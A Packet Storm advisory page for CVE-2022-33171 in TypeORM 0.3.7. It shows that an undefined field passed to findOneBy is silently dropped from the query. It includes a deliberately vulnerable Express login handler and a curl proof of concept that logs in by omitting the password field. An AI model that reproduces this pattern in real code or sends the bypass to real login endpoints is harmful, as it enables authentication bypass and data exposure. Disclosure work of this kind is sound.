exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TypeORM 0.3.7 Information Disclosure

TypeORM 0.3.7 Information Disclosure
Posted Aug 16, 2022
Authored by Andrii Kostenko

TypeORM version 0.3.7 suffers from an information disclosure vulnerability.

tags | exploit, info disclosure
advisories | CVE-2022-33171
SHA-256 | 246e2571f6477cd3e3f3b0900f9c7911b435e8fef9e4f9208dcfefc345575951

TypeORM 0.3.7 Information Disclosure

Change Mirror Download
I found what I think is a vulnerability in the latest typeorm 0.3.7.
TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is
the only way to get a record by id

Sending undefined as a value in this method removes this parameter from the
query. This leads to the data exposure.

For example:
Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM
Users WHERE id=12345 LIMIT 1 while removing id from the query string
produces SELECT * FROM Users LIMIT 1

Maintainer also does not consider this a vulnerability and stated the
root cause is bad input validation. I tried to contact Snyk, but they
took the author's position. I still think it is a major vulnerability


Vulnerable app:


import {
Entity,
PrimaryGeneratedColumn,
Column,
Connection,
ConnectionOptions,
Repository,
createConnection
} from 'typeorm';
import express from 'express';
import {Application, Request, Response} from 'express';

let connection: Connection;

async function myListener(request: Request, response: Response) {
if(!connection)
connection = await createConnection(connectionOpts);
const userRepo: Repository<User> = connection.getRepository(User);

const { email, password }: Record<string, string> = request.body;
const user = await userRepo.findOneBy({ email, password });
return response.json(user ? 'ok' : 'denied');
}

@Entity({ name: 'Users' })
class User {
@PrimaryGeneratedColumn()
id!: number;
@Column()
email!: string;
@Column()
password!: string;
}

const connectionOpts: ConnectionOptions = {
type: 'mysql',
name: 'myconnection',
host: 'localhost',
username: 'root',
password: 'test123',
database: 'domurl',
entities: [User]
}

const app: Application = express();
app.use(express.json());
app.post( "/authenticate", myListener);
app.listen(4444, () => console.log('App started'));


Usage:

curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "Flo64@yahoo.com", "password":
"incorrect"}'
"denied"⏎


Exploit:

curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "Flo64@yahoo.com"}'
"ok"⏎
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close